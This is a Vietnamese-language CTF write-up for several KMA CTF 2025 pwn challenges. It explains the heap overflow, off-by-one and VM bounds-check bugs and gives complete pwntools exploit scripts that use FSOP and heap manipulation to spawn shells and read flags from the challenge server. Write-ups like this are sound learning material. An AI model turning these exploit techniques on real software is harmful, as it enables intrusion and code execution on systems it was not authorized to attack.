# KMA CTF 2025
## Compression
### Overview
- Đầu tiên, chương trình yêu cầu ta nhập `size` và `string` vào. Chương trình có 6 option cho chúng ta chọn như hình, nhưng có vẻ option 4 là `free(result)` không được in ra:

- Trong vòng lặp menu:
1. `compress: result = rle_compress(buffer)`: Hàm này thực hiện việc nén một chuỗi của người dùng nhập vào. Ví dụ nếu ta input `b'a'*10` thì nó sẽ nén thành `10a`. Hàm này không có bug gì cả.

2. `decompress: result = rle_decompress(buffer)`: Hàm này thực hiện việc giải nén chuỗi mà ta nhập vào. Ví dụ ta input `100a`, hàm này sẽ thực hiện giải nén nó ra và cho ra kết quả `'a'*100`. Nhưng hàm này bị sai logic khiến cho chương trình bị `heap overflow`:

- Đầu tiên, nó sẽ lấy độ dài chuỗi ở dòng `compressed_len = strlen(compressed_string);`. Chương trình sau đó `malloc(compressed_len+1)` và giải nén lần lượt chuỗi đã nén. Nhưng vấn đề là ở chỗ `strlen`, nó sẽ lấy đầu vào là chuỗi mình input, tức là ví dụ ta nhập vào là `100a`, nó sẽ trả về `length=4`. Chương trình sau đó `malloc(4+1)` và gán chuỗi đã giải nén vào. Nhưng chuỗi đó sẽ là `'a'*100`, dài hơn rất nhiều so với chunk mà ta đã malloc ra. Điều này dẫn đến `heap overflow`.
3. `Change buffer`: Nhập size mới, sau đó `realloc(buffer, size+1)` và input dữ liệu.

5. `free(result)`: `free` chuỗi đã được nén (giải nén) và set null cho `result`

6. `create comment`: Chương trình `malloc(0x70)` và cho ta nhập `name`, cũng như `comment`:

- Ở đây, con trỏ trỏ đến `comment` và `size` được lưu trữ trên `heap`. Đây chính là mục tiêu của ta: kết hợp với bug `heap overflow` ở `case 2` và `case 6` cho phép sửa `comment'.
6. edit comment: Hàm này cho phép ta sửa `comment` đã tạo trước đó.

### Leak
- Ở bài này, ta chỉ cần leak `libc`, sau đó ghi đè con trỏ `_IO_2_1_stdout` lên con trỏ `comment`, FSOP là xong. Vậy làm sao để leak `libc`? Để ý ở `case 3`, chương trình sẽ `realloc` lại size do ta nhập vào và để ta input lại data. Khi yêu cầu `realloc` size cao hơn hiện tại, nếu ngay sau chunk mà ta `realloc` là `unsorted bins`, nó sẽ cắt từ `unsorted bins` ra. Mà trên `unsorted bins` có các pointer `libc`, ta có thể lợi dụng điều này. Trước tên, nhập một chuỗi string thật dài, sau đó `realloc` nó xuống thật bé:

```py
sla(b':',b'1536')
sa(b':',b'a'*1536)
change_data(16, b'b'*16)
```
- Bây giờ ta đã có `unsorted bins` ngay sau rồi. Tiếp theo, ta sẽ `realloc(0x20)`, nhập đúng 0x20 byte (vì hàm `read_byte` yêu cầu nhập đủ số byte theo size). Chương trình sẽ cắt từ `unsorted bins` ra `0x10 bytes` cho chunk `buffer`:

- Sau khi yêu cầu `decompress`, ta sẽ có `libc`:
```py
change_data(0x20, b'b'*0x20)
decompress()
l.address=l64()-0x21ace0-0x460
info('libc base:'+hex(l.address))
```
### Exploit
- Sau khi đã có `libc`, tiếp theo ta ghi đè con trỏ `comment` thành `_IO_2_1_stdout` để thực hiện `FSOP`. Để làm hàm `decompress` đặt đúng địa chỉ của `_IO_2_1_stdout` vào con trỏ `comment`, ta cần tính toán `offset` từ chunk được `malloc` đến đó. Một điều cần lưu ý là hàm `decompress` sẽ giải nén theo kiểu `num+bytes`. Nghĩa là để đặt đúng địa chỉ `libc`, ta phải thêm `'1'` trước mỗi bytes của libc:
```py
stdout = b''
for i in range(6):
byte_val = (l.sym._IO_2_1_stdout_ >> (i * 8)) & 0xff
stdout += b'1' + byte_val.to_bytes(1, 'little')
```
- Khi đã ghi đè được con trỏ `comment` thành `_IO_2_1_stdout`, ta chỉ cần `FSOP` là xong bài này (tham khảo `FSOP` ở [đây](https://niftic.ca/posts/fsop/#introduction)).
- Final script:
```python!
#!/usr/bin/python3
from pwn import *
e = ELF('main_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
w = lambda sec: p.wait(sec)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
l64 = lambda: u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ll64 = lambda: int(r(14),16)
if args.REMOTE:
conn = 'nc 165.22.55.200 40001'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(e.path)
def rop_binsh(no_ret=1):
rop = ROP(l)
ret = rop.find_gadget(['ret'])
for i in range(no_ret):
rop.raw(ret)
rop.system(next(l.search(b'/bin/sh\0')))
return rop.chain()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x0000000000401771
b*0x0000000000401A17
c
''')
def change_data(size, content):
sla(b'>',b'3')
sla(b':',str(size).encode())
sa(b':',content)
def compress():
sla(b'>',b'1')
def decompress():
sla(b'>',b'2')
GDB()
sla(b':',b'1536')
sa(b':',b'a'*1536)
#create comment
sla(b'>',b'5')
sa(b':',b'a'*0x50)
sla(b':',str(0x50).encode())
sa(b':',b'a'*0x50)
change_data(16, b'b'*16)
change_data(0x20, b'b'*0x20)
decompress()
ru(b'lt: ')
l.address=u64(r(6)+b'\0\0')-0x21ace0-0x460
info('libc base:'+hex(l.address))
stdout = b''
for i in range(6):
byte_val = (l.sym._IO_2_1_stdout_ >> (i * 8)) & 0xff
stdout += b'1' + byte_val.to_bytes(1, 'little')
pay=b'1560c'+stdout+b'\0'
change_data(len(pay),pay)
decompress()
fp = FileStructure()
fp.flags = b' sh\0'
fp._lock = p64(l.sym['_IO_stdfile_1_lock'])
fp._wide_data = p64(l.sym['_IO_2_1_stdout_']-0x10)
fp.unknown2 = p64(0)*4 + p64(e.sym.win) + p64(l.sym['_IO_2_1_stdout_']+0x60)
fp.vtable = p64(l.address+0x216f58-0x38)
payload = bytes(fp)
sla(b':',b'6')
sla(b':',payload)
p.interactive()
```
> KMACTF{b4ea67bc251316adb5313fd645f484b0}
## Json Beautify
### Overview
- Chương trình quản lý một `User` có name và key, cho phép đổi tên, đổi `JSON` và in “credential”. Đây là cấu trúc của `User`:

- Đầu tiên, chương trình malloc một chunk để chứa `name` và `key` của user, sau đó chúng ta nhập vào `name`:

> Ở đây, chương trình sẽ set null cho phần tử cuối của `name`, nghĩa là biến đầu của `key`, nhưng ở đây `key` chưa được khởi tạo nên không ảnh hưởng gì cả.
- Trong vòng lặp while, ta có 3 option: nhập lại `name`, sửa `JSON` hoặc `show_credential`. Sau mỗi lần


- Vấn đề là, ở case 1, sau khi nhập `name`, chương trình sẽ set null cho phần tử cuối của `name`, tức là phần tử đầu của `key` nếu ta nhập đủ 0x100 bytes. Lúc này `key` đã được khởi tạo, điều này khiến cho phẩn tử đầu của `key` thành null.
- `Key` được dùng ở hàm `show_credential`, trong dòng `key_len = strlen(current_user->key);`. Nếu `key` bắt đầu là null, `strlen` sẽ trả về 0, làm cho `key_len=0`. Sau đó khi `key_len -= 4;`, key_len sẽ trở thành số rất lớn do kiểu dữ liệu nó là `uint8_t`. Khi nó được dùng để `strcpy(&buffer[key_len], current_user->name);`, `buffer[key_len]` sẽ trỏ về cuối buffer, gây `buffer overflow`.
```python!
change_name(b'b'*(0x100)) ##ghi đè byte đầu của key
```
### Leak
- Ở case 2, nếu ta nhập `size=0`, chương trình sau đó sẽ `malloc(1)`, trả về chunk có size 0x20. Nhưng `size=0` thì ta sẽ không cần input gì cả. Nếu trên chunk có các pointer của heap hoặc libc, ta sẽ dễ dàng leak ra.
- Nhưng nếu vậy ta chỉ có thể leak `heap`. Bởi vì mỗi lần yêu cầu `change JSON`, chương trình sẽ free `json_data` hiện tại. Nếu muốn leak `libc`, ta bắt buộc phải có `unsorted bins`. Nhưng mỗi lần `free`, chương trình sẽ luôn `free` chunk cuối cùng mà ta `malloc`, khiến cho nếu chunk đó có `size > 0x450` (size > 0x450 là yêu cầu để chunk vào `unsorted bins` thay vì `tcache`), nó sẽ gộp với `top chunk` mà không vào `unsorted bins`. Vậy làm sao leak `libc`?
- Bởi vì ta có thể tự do ghi con trỏ `rbp/rip`, ta có thể ghi đè `rbp` với 1 bytes bất kì, ví dụ như `\x10`. Bởi vì `strcpy` luôn đặt null byte ở cuối. Ví dụ ban đầu`rbp=0x7ffdac443b0`, sau khi ghi đè nó sẽ thành `rbp=0x7ffdac440010`. Lúc này ta tạo một `JSON` với size `0x500`:
```python!
change_name(b'a'*(0x20-0xc)+b'\x10')##payload chuẩn bị
view() ##trigger
new_json(0x500, b'a'*0x500) ## tạo chunk với size=0x500
```
- Tiếp theo, ghi đè nó với byte khác, ví dụ như `\x30`, từ `rbp=0x7ffdac440010` thành `rbp=0x7ffdac440030` và tạo 1 `JSON` mới với size bất kỳ:
```python!
change_name(b'a'*(0x20-0xc)+b'\x30')
view()
new_json(0x50, b'a'*0x50)
```

- Chunk 0x500 lúc nãy vẫn còn ở đây, chưa bị `free`. Đó là bởi vì lúc ta ghi LSB của `rbp` thành `\x30`, khi ra đến hàm `main`, nếu ta yêu cầu tạo `JSON` mới, chương trình sẽ không thể tìm thấy `json_data` cũ. Bởi vì ta tạo nó lúc `rbp` đang là `\x10`, lúc chương trình `free` đang là `\x30`, nó không tìm thấy nên bỏ qua khâu `free` và tạo một chunk mới.
- Lúc này, ta chỉ cần ghi đè `rbp` về lại thành `\x10`, ta sẽ có thể `free` chunk với size `0x500` kia, tạo thành `unsorted bins` trên `heap`:
```python!
change_name(b'a'*(0x20-0xc)+b'\x10') ##rbp về lại \x10
view()
```

- Khi đã có `unsorted bin` rồi, ta chỉ cần leak `libc` giống cách leak `heap` đã nêu ở trên là được.
```python!
sla(b'>',b'2')
sla(b':',b'0')
ru(b'Beautified JSON:\n')
l.address=(u64(r(6).ljust(8,b'\0')))-0x21b110
info(f'l.address: {hex(l.address)}')
```
### Exploit
- Vấn đề là, hàm gây `buffer overflow` là `strcpy`. Điều này nghĩa là payload gây `buffer overflow` của ta không chể chứa null byte. Vậy ta chỉ có thể ghi đè một trong hai là `rbp` và `rip`. Nếu ta chọn `rip`, cách duy nhất là sử dụng `one_gadget`. Nhưng bởi vì `rbp` là các byte không hợp lệ, rất nhiều `one_gadget` sẽ không thể dùng được. Em check hết tất cả `one_gadget` còn lại nhưng không có cái nào thỏa mãn.
- Vậy ta chuyển hướng sang `rbp`. Ý tưởng ban đầu là ghi đè `rbp` thành `heap`, một địa chỉ ta có thể điều khiển tùy ý. Nhưng vấn đề là, `stack` có độ dài 6 bytes, trong khi `heap` chỉ có 4 bytes. Điều này khiến cho nếu ta ghi đè `rbp` thành `heap`, rbp sẽ trở thành (ví dụ) `0x7f003382c000`. Đây là một địa chỉ không hợp lệ.
- Vậy ta phải chuyển sang cách khác. Em nghĩ đến địa chỉ `libc`. Nhưng nếu vậy, khi về hàm `main` chỉ có thể ghi đè đâu đó trên `libc` bằng 2 cách: `__isoc99_scanf("%lu", &size)` hoặc `json_data = (char *)malloc(size + 1);`. Vậy thì chỉ có thể ghi đè 8 bytes, em nghĩ ngay đến `_IO_list_all`. Đây là con trỏ trỏ đến `_IO_2_1_stderr` trong libc. Nếu ta ghi đè `_IO_list_all` thành địa chỉ `heap` mà trên đó ta setup fake `_IO_file`, ta sẽ có thể lấy được shell:

- Nhưng trên `_IO_list_all` đã có con trỏ khác, nếu ta dùng `json_data = (char *)malloc(size + 1);` để ghi đè, trước đó chương trình có:
```clike!
if ( json_data )
free(json_data);
```
- Nếu ta `free(_IO_2_1_stderr)` sẽ báo lỗi ngay. Vậy ta chỉ có thể dùng `__isoc99_scanf("%lu", &size)`, với size là con trỏ heap mà ta muốn ghi đè vào. Mặc dù đồng nghĩa với nó là việc ta phải gửi đủ (`heap`) bytes, bởi vì hàm `read_byte` yêu cầu nhập đủ số bytes mà ta đã gửi.
- Bởi vì phải gửi rất nhiều bytes, server đôi lúc sẽ không phản hồi. May mà một lúc chạy thì em đã lấy được flag😅:

> Khi đang viết writeup thì em có nảy ra một ý tưởng khác đó là ghi đè vào đây:

> Chỗ này là nơi quyết định tcache có độ dài tối đa là bao nhiêu. Nếu em ghi đè nó thành số to hơn, chương trình sẽ thay đổi cấu trúc của `tcache_perthread_struct` (thường ở vị trí chunk có size 0x290 đầu heap), khiến `count` và `pointer` của nó kéo dài xuống dưới, mà ở dưới là các chunk heap mà ta có thể dễ dàng kiểm soát.
> Hoặc bài này em có tham khảo cách của Quang, bạn ấy ghi đè vào _chain của `_IO_2_1_stdin`, ở đó thì không có pointer nào cả nên ta có thể dùng `json_data = (char *)malloc(size + 1);` để ghi đè lên đó pointer ta muốn mà không lo lỗi bởi vì `free`
- Final script:
```python!
#!/usr/bin/python3
from pwn import *
e = ELF('main_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
w = lambda sec: p.wait(sec)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
l64 = lambda: u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ll64 = lambda: int(r(14),16)
bin = lambda : next(l.search(b'/bin/sh'))
if args.REMOTE:
conn = 'nc 165.22.55.200 40002'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(e.path)
def rop_binsh(no_ret=1):
rop = ROP(l)
ret = rop.find_gadget(['ret'])
for i in range(no_ret):
rop.raw(ret)
rop.system(next(l.search(b'/bin/sh\0')))
return rop.chain()
def new_json(size, content):
sla(b'>', b'2')
sla(b':', str(size).encode())
sa(b':', content)
def change_name(content):
sla(b'>', b'1')
sa(b'name', content)
def view():
sla(b'>', b'3')
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*0x00000000004018FF
c
''')
sla(b'name',b'a')
change_name(b'b'*(0x100))
change_name(b'a'*(0x20-0xc)+b'\x10')
view()
new_json(0x500, b'a'*0x500)
change_name(b'a'*(0x20-0xc)+b'\x30')
view()
new_json(0x50, b'a'*0x50)
change_name(b'a'*(0x20-0xc)+b'\x10')
view()
sla(b'>',b'2')
sla(b':',b'0')
ru(b'Beautified JSON:\n')
l.address=(u64(r(6).ljust(8,b'\0')))-0x21b110
info(f'l.address: {hex(l.address)}')
sla(b'>',b'2')
sla(b':',b'0')
ru(b'Beautified JSON:\n')
heap=(u64(r(3).ljust(8,b'\0'))<<12)-0x1000-0x1000
info(f'heap: {hex(heap)}')
addr=heap+0x2410
payload=b'a'*0x10
fp = FileStructure()
fp.flags = b' sh\0'
fp._IO_read_end=p64(1)
fp._lock = p64(l.sym['_IO_stdfile_1_lock'])
fp._wide_data = p64(addr-0x10)
fp.unknown2 = p64(0)*3+p64(1) + p64(l.sym['system']) + p64(addr+0x60)
fp.vtable = p64(l.address+0x216f58-0x18)
payload += bytes(fp)
new_json(len(payload), payload) #fake _IO_FILE
addr=heap+0x2410
stack=l.address+0x21b680+8+0x10 #fake stack
GDB()
change_name(b'a'*(0x20-0xc)+p64(stack))
view()
change_name(b'a'*(0xc)+p64(addr))
view()
sla(b'>',b'2')
sla(b':',str(int(addr)).encode()) #overwrite _IO_list_all
sa(b':',b'\x00'+b'a'*((int(addr))-1))
sla(b'>',b'4')
sl(b'cat f*')
p.interactive()
```
> KMACTF{7e0bc4ec4781f04f54f3826fa8f4dfb7}
## matrishka
### Overview
- Đây là một bài ctf mô phỏng VM. Chương trình có 2 option: `add_vm` và `run_vm`, có tối ta 16 `vm` và bài này có hàm `win`. Các `vm` có cấu trúc như sau:
```clike!
#define NUM_REGS 6
#define MEM_SIZE 0x100
#define CODE_SIZE 0x400
typedef struct
{
uint32_t fail;
uint32_t active;
uint32_t pc;
uint8_t code[CODE_SIZE];
uint32_t regs[NUM_REGS];
uint32_t mem[MEM_SIZE];
}vm;
```
1. `add_vm`: Chương trình sẽ cho ta nhập vào đoạn code, sau đó check để kiểm tra `validate_code`. Nếu code hợp lệ, chương trình sẽ lưu code đó vào `vm->code`.
2. `run_vm`: Chương trình sẽ chạy `vm` với index ta chọn, chạy code bằng cách tra bảng `handler_table[]`:
```clike!
handler_t handler_table[] = {
add_handler, // ADD
add_imm_handler, // ADD_IMM
sub_handler, // SUB
sub_imm_handler, // SUB_IMM
mul_handler, // MUL
mul_imm_handler, // MUL_IMM
store_reg_reg_safe_handler, // STORE_REG_REG_SAFE
store_reg_reg_unsafe_handler, // STORE_REG_REG_UNSAFE
store_reg_imm_safe_handler, // STORE_REG_IMM_SAFE
store_reg_imm_unsafe_handler, // STORE_REG_IMM_UNSAFE
store_imm_reg_handler, // STORE_IMM_REG
store_imm_imm_handler, // STORE_IMM_IMM
};
```
- `handler_table` được lưu trữ ở vùng `bss`, điều này có nghĩa là nếu giả dụ ta ghi đè được bảng này, ta chỉ cần ghi đè nó bằng hàm `win`, lần chạy `vm` tiếp theo chương trình sẽ thực thi hàm `win` thay vì các hàm được khai báo.
```clike!
int run_vm(vm* vm)
{
// reset state
for (int i = 0; i < NUM_REGS; i++) {
vm->regs[i] = 0;
}
vm->fail = 0;
vm->pc = 0;
memset(vm->mem, 0, MEM_SIZE*sizeof(uint32_t));
// execution loop
while (!vm->fail) {
opcode op = vm->code[vm->pc];
handler_table[op](vm);
if (vm->code[vm->pc] == RET)
break;
}
return !vm->fail;
}
```
- Ở đây có một bug: chương trình không check `op`. Điều này có nghĩa là nếu `code` có gọi đến `op` lớn hơn bình thường (mặc dù ở hàm `validate_code` có check `bounds`, nhưng vẫn khả thi nếu ta có bug khác ta có thể dùng để ghi đè), và nếu ở đấy có hàm `win`, chương trình sẽ thực thi hàm `win` và cho ta shell!
### Workflow
- Chương trình có tổng cộng 12 case, tương ứng với 12 trường hợp khác nhau:
- `add_handler`, `sub_handler` và `mul_handler`: Chương trình sẽ lấy `reg2 +/-/* reg1` và lưu kết quả vào `reg1`:
<details>
<summary>Code</summary>
```c
void add_handler(vm* vm)
{
uint32_t reg1, reg2, result;
reg1 = vm->code[vm->pc + 1];
reg2 = vm->code[vm->pc + 2];
result = vm->regs[reg1] + vm->regs[reg2];
vm->regs[reg1] = result;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void sub_handler(vm* vm)
{
uint32_t reg1, reg2, result;
reg1 = vm->code[vm->pc + 1];
reg2 = vm->code[vm->pc + 2];
result = vm->regs[reg1] - vm->regs[reg2];
vm->regs[reg1] = result;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void mul_handler(vm* vm)
{
uint32_t reg1, reg2, result;
reg1 = vm->code[vm->pc + 1];
reg2 = vm->code[vm->pc + 2];
result = vm->regs[reg1] * vm->regs[reg2];
vm->regs[reg1] = result;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
```
</details>
- `add_imm_handler`, `sub_imm_handler`, `mul_imm_handler`: Chương trình sẽ lấy một số `uint32_t` và +/-/* vào thanh ghi:
<details>
<summary>Code</summary>
```c
void add_imm_handler(vm* vm)
{
uint32_t reg1, imm;
reg1 = vm->code[vm->pc + 1];
imm = *(uint32_t*)&vm->code[vm->pc + 2];
vm->regs[reg1] += imm;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void sub_imm_handler(vm* vm)
{
uint32_t reg1, imm;
reg1 = vm->code[vm->pc + 1];
imm = *(uint32_t*)&vm->code[vm->pc + 2];
vm->regs[reg1] -= imm;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void mul_imm_handler(vm* vm)
{
uint32_t reg1, imm;
reg1 = vm->code[vm->pc + 1];
imm = *(uint32_t*)&vm->code[vm->pc + 2];
vm->regs[reg1] *= imm;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
```
</details>
- `store_reg_reg_safe_handler` và `store_reg_reg_unsafe_handler`: Hàm `unsafe` là phiên bản không kiểm tra bounds của hàm `safe`, cả hai hàm đều gắn giá trị từ một thanh vào `memory`:
<details>
<summary>Code</summary>
```c
void store_reg_reg_safe_handler(vm* vm)
{
uint32_t reg1, reg2;
reg1 = vm->code[vm->pc + 1];
reg2 = vm->code[vm->pc + 2];
if(vm->regs[reg1] >= MEM_SIZE)
{
puts("Ouf of bound");
vm->fail = 1;
return;
}
vm->mem[vm->regs[reg1]] = vm->regs[reg2];
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void store_reg_reg_unsafe_handler(vm* vm)
{
uint32_t reg1, reg2;
reg1 = vm->code[vm->pc + 1];
reg2 = vm->code[vm->pc + 2];
vm->mem[vm->regs[reg1]] = vm->regs[reg2];
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
```
</details>
- `store_reg_imm_safe_handler` và `store_reg_imm_unsafe_handler`: Hai hàm này tương tự hàm trên nhưng khác là gắn giá trị từ `vm->code`:
<details>
<summary>Code</summary>
```c
void store_reg_imm_safe_handler(vm* vm)
{
uint32_t reg1, imm;
reg1 = vm->code[vm->pc + 1];
imm = *(uint32_t*)&vm->code[vm->pc + 2];
if(vm->regs[reg1] >= MEM_SIZE)
{
puts("Ouf of bounds");
vm->fail = 1;
return;
}
vm->mem[vm->regs[reg1]] = imm;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void store_reg_imm_unsafe_handler(vm* vm)
{
uint32_t reg1, imm;
reg1 = vm->code[vm->pc + 1];
imm = *(uint32_t*)&vm->code[vm->pc + 2];
vm->mem[vm->regs[reg1]] = imm;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
```
</details>
- `store_imm_reg_handler` và `store_imm_imm_handler`: Hai hàm này tương tự hàm trên nhưng thay vì lấy `index` từ `reg` thì lấy từ `vm->code`:
<details>
<summary>Code</summary>
```c
void store_imm_reg_handler(vm* vm)
{
uint32_t reg1, imm;
reg1 = vm->code[vm->pc + 5];
imm = *(uint32_t*)&vm->code[vm->pc + 1];
vm->mem[imm] = vm->regs[reg1];
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
void store_imm_imm_handler(vm* vm)
{
uint32_t imm1, imm2;
imm1 = *(uint32_t*)&vm->code[vm->pc + 1];
imm2 = *(uint32_t*)&vm->code[vm->pc + 5];
vm->mem[imm1] = imm2;
vm->pc += get_opcode_size(vm->code[vm->pc]);
}
```
</details>
### validate_code
- Đây là hàm check xem `opcode` có hợp lệ không, check xem chương trình có bị `out of bounds` hay không để gắn các hàm `unsafe` thay vào đó:
<details>
<summary>Code</summary>
```c
int validate_code(uint8_t *code)
{
uint32_t reg_max[NUM_REGS] = {0};
uint32_t pc = 0, ok = 0;
while (pc < CODE_SIZE) {
switch (code[pc]) {
case ADD:
case SUB:
case MUL: {
uint32_t reg1 = code[pc + 1];
uint32_t reg2 = code[pc + 2];
if (!validate_reg(reg1) || !validate_reg(reg2))
goto end;
if (code[pc] == ADD)
reg_max[reg1] += reg_max[reg2];
pc += get_opcode_size(code[pc]);
break;
}
case ADD_IMM:
case SUB_IMM:
case MUL_IMM: {
uint32_t reg1 = code[pc + 1];
uint32_t imm = *(uint32_t*)&code[pc + 2];
if (!validate_reg(reg1))
goto end;
if (code[pc] == ADD_IMM)
reg_max[reg1] += imm;
pc += get_opcode_size(code[pc]);
break;
}
case STORE_REG_REG_SAFE: {
uint32_t reg1 = code[pc + 1];
uint32_t reg2 = code[pc + 2];
if (!validate_reg(reg1) || !validate_reg(reg2))
goto end;
if (reg_max[reg1] < MEM_SIZE)
code[pc] = STORE_REG_REG_UNSAFE;
pc += get_opcode_size(code[pc]);
break;
}
case STORE_REG_IMM_SAFE: {
uint32_t reg1 = code[pc + 1];
uint32_t imm = *(uint32_t*)&code[pc + 2];
if (!validate_reg(reg1))
goto end;
if (reg_max[reg1] < MEM_SIZE)
code[pc] = STORE_REG_IMM_UNSAFE;
pc += get_opcode_size(code[pc]);
break;
}
case STORE_IMM_REG: {
uint32_t imm = *(uint32_t*)&code[pc + 1];
uint32_t reg1 = code[pc + 5];
if (!validate_reg(reg1))
goto end;
if (imm >= MEM_SIZE)
goto end;
pc += get_opcode_size(code[pc]);
break;
}
case STORE_IMM_IMM: {
uint32_t imm1 = *(uint32_t*)&code[pc + 1];
uint32_t imm2 = *(uint32_t*)&code[pc + 5];
(void)imm2; // only imm1 needs validation
if (imm1 >= MEM_SIZE)
goto end;
pc += get_opcode_size(code[pc]);
break;
}
case RET:
ok = 1;
goto end;
default:
printf("Invalid opcode: 0x%x\n", code[pc]);
goto end;
}
}
end:
return ok;
}
```
</details>
- Nhưng ở hàm này có một bug nghiêm trọng: chương trình không kiểm tra `out of bounds` cho case `mul`:

Nó chỉ kiểm tra case `add`, bỏ qua case `mul`. Điều này có thể khiến chương trình không cập nhật `reg_max`. Điều này khiến cho các khi check các hàm `store_reg`, biến `reg_max` không được cập nhật đúng cách, chương trình vẫn hiểu là `reg_max` vẫn chưa bị `out of bounds` và gắn cho `opcode` cái mác `unsafe` mặc dù bản thân nó đã bị `out of bounds`:

> reg_max không được cập nhật đúng cách ở case MUL, khiến cho reg_max[reg1] có thể lớn hơn MEM_SIZE
### Exploit
- Kết hợp 2 bug ở trên, ta có thể điều khiển khiến `vm` gọi ra ngoài `opcode` sẵn có và thực thi hàm `win`.
- Đầu tiên, tạo một `vm`, nó sẽ ở `index 0` sao cho hàm win xuất hiện trên đấy:
```p
pay=add(0,1)*6
pay+=store_reg_imm_safe(3,e.sym.win)+add(0,0)*2
pay+=ret()
add_vm(pay)
```

> Ở đây, muốn gọi hàm `win` thì opcode phải là 24
- Sau khi đã có hàm `win`, ta tạo thêm 2 `vm`. Cái thứ nhất để ghi đè cái thứ 2, làm cho nó chứa `opcode 24`. Cái thứ hai sau khi bị ghi đè sẽ được dùng để chạy.
- Lợi dụng việc chương trình không check case `mul`, ta có thể tạo 2 thanh ghi với giá trị là 20 và 13, sau đó dùng `mul` nhân chúng lên. Tính toán offset, sau khi nhân lên và trừ đi 1, khi chạy `vm` sẽ ghi đè `opcode` của `vm` sau đấy.
```python!
pay=add_imm(0,20)+add_imm(1,13)
pay+=mul(0,1)
pay+=sub_imm(0,1)
pay+=store_reg_imm_safe(0,24)
pay+=ret()
add_vm(pay) #vm ghi de opcode vm tiep theo
pay=add(0,1)*19
pay+=ret()
add_vm(pay)
```
- Sau đó chỉ cần chạy lần lượt `vm(1)` và `vm(2)`, ta sẽ có shell.
- Final script:
```python!
#!/usr/bin/python3
from pwn import *
e = ELF('matrishka_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
w = lambda sec: p.wait(sec)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
l64 = lambda: u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ll64 = lambda: int(r(14),16)
bin = lambda : next(l.search(b'/bin/sh'))
if args.REMOTE:
conn = 'nc 165.22.55.200 40004'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(e.path)
def rop_binsh(no_ret=1):
rop = ROP(l)
ret = rop.find_gadget(['ret'])
for i in range(no_ret):
rop.raw(ret)
rop.system(next(l.search(b'/bin/sh\0')))
return rop.chain()
def add(dest, src):
return p8(0) + p8(dest) + p8(src)
def add_imm(dest, imm_val):
return p8(1) + p8(dest) + p32(imm_val)
def sub(dest, src):
return p8(2) + p8(dest) + p8(src)
def sub_imm(dest, imm_val):
return p8(3) + p8(dest) + p32(imm_val)
def mul(dest, src):
return p8(4) + p8(dest) + p8(src)
def mul_imm(dest, imm_val):
return p8(5) + p8(dest) + p32(imm_val)
def store_reg_reg_safe(reg_idx, reg_val):
return p8(6) + p8(reg_idx) + p8(reg_val)
def store_reg_imm_safe(reg_idx, imm_val):
return p8(8) + p8(reg_idx) + p32(imm_val)
def ret():
return p8(12)
def add_vm(code):
sla(b'>',b'1')
sla(b':',code)
def run(idx):
sla(b'>',b'2')
sla(b':',str(idx).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*0x00000000004023B2
c
''')
GDB()
pay=add(0,1)*6
pay+=store_reg_imm_safe(3,e.sym.win)+add(0,0)*2
pay+=ret()
add_vm(pay)
pay=add_imm(0,20)+add_imm(1,13)
pay+=mul(0,1)
pay+=sub_imm(0,1)
pay+=store_reg_imm_safe(0,24)
pay+=ret()
add_vm(pay) #vm ghi de opcode vm tiep theo
pay=add(0,1)*19
pay+=ret()
add_vm(pay)
run(1)
run(2)
p.interactive()
```
> KMACTF{Nunmu1_m3oMCHUNeUn_Be083U1_M0Ll@Yo_ch@dich4GO_N30mU_aPAYo_6WaEnchAn7An3Un_MAReun_d4_GE0j1Nm41_b1g@_N@3r1neUn_YEOGI_N4M6Y30jY3O_H0nj4_U1Go_$ipj1_aNaYo_41lY30jusEYO_nunmuReu1_ChamN3un_B@N6b30p}
## 23
### Overview
- Đây là một bài ctf mô phỏng VM, quản lý 16 `machine` với các chức năng cơ bản:
1. `addMachine`: Thêm các `machine` với `name`, `array`, `string` và `code`
1. `modifyMachine`: Chỉnh sửa `code` của `machine`
1. `runMachine`: Chạy `machine`
1. `deleteMachine`: Xóa `machine`
1. `printMachines`: In `machine`
- Đây là struct của `machine`:
```clike!
typedef struct Node
{
union
{
uint8_t *str_;
size_t *array_;
size_t num_;
}data_;
size_t size_;
Type type_;
